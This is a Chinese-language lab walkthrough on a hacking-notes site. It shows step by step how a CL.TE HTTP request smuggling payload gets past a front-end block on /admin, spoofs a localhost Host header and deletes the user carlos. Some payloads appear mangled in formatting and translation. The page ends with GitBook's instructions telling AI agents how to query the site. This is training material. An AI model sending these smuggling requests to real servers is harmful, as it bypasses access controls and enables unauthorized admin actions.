> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/front-end-security-bypass-via-cl-te.md).
# 通过 CL.TE 绕过前端安全
### 利用 HTTP 请求走私绕过前端安全控制，CL.TE 漏洞
实验使用一个 **前端** 服务器和一个 **后端**. / 前端 **不支持分块编码**，而后端接受它。/ 对位于 **/admin** 的管理面板的访问被前端阻止。
目标是 **走私一个请求** 到后端以允许访问管理面板，然后 **删除用户 carlos**.
#### **1. 漏洞 CL.TE 验证**
前端解析 Content-Length，而后端使用 Transfer-Encoding。
基础 CL.TE 载荷：
```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 5
Transfer-Encoding: chunked
0
```
这会返回一个 **200**，这证实后端会将 `Transfer-Encoding` 考虑在内。
#### **2. 注入一个走私请求**
当随后串联一个请求时，后端会读取走私请求：
```http
Content-Length: 33
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
测试：A
```
后端回应说 **只有本地用户** 才能访问 /admin。
#### **3. 劫持 Host 以伪装成本地请求**
为绕过限制，后端必须相信该请求来自 localhost。
初始尝试：
```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 41
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
```
但服务器返回：
```json
{
"error":"不允许重复的头名称"
}
```
因此，后端不会将此请求解释为一个完整的新请求。
### **4. 构造正确的走私请求**
一个 `Content-Length` 被添加到走私的请求中，以便其被正确处理：
```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 9
test=test
```
为了让后端正确读取请求，我们调整大小：
```http
Content-Length: 10
```
发送到前端的完整请求变为：
```http
POST / HTTP/1.1
Host: 0ac60019037ec46481921b6200bb00d7.web-security-academy.net
Content-Length: 73
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
test=test
```
#### **5. 删除 Carlos 用户**
现在只需将 GET 行替换为删除调用：
```http
Content-Length: 97
Transfer-Encoding: chunked
0
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 10
test=test
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/front-end-security-bypass-via-cl-te.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.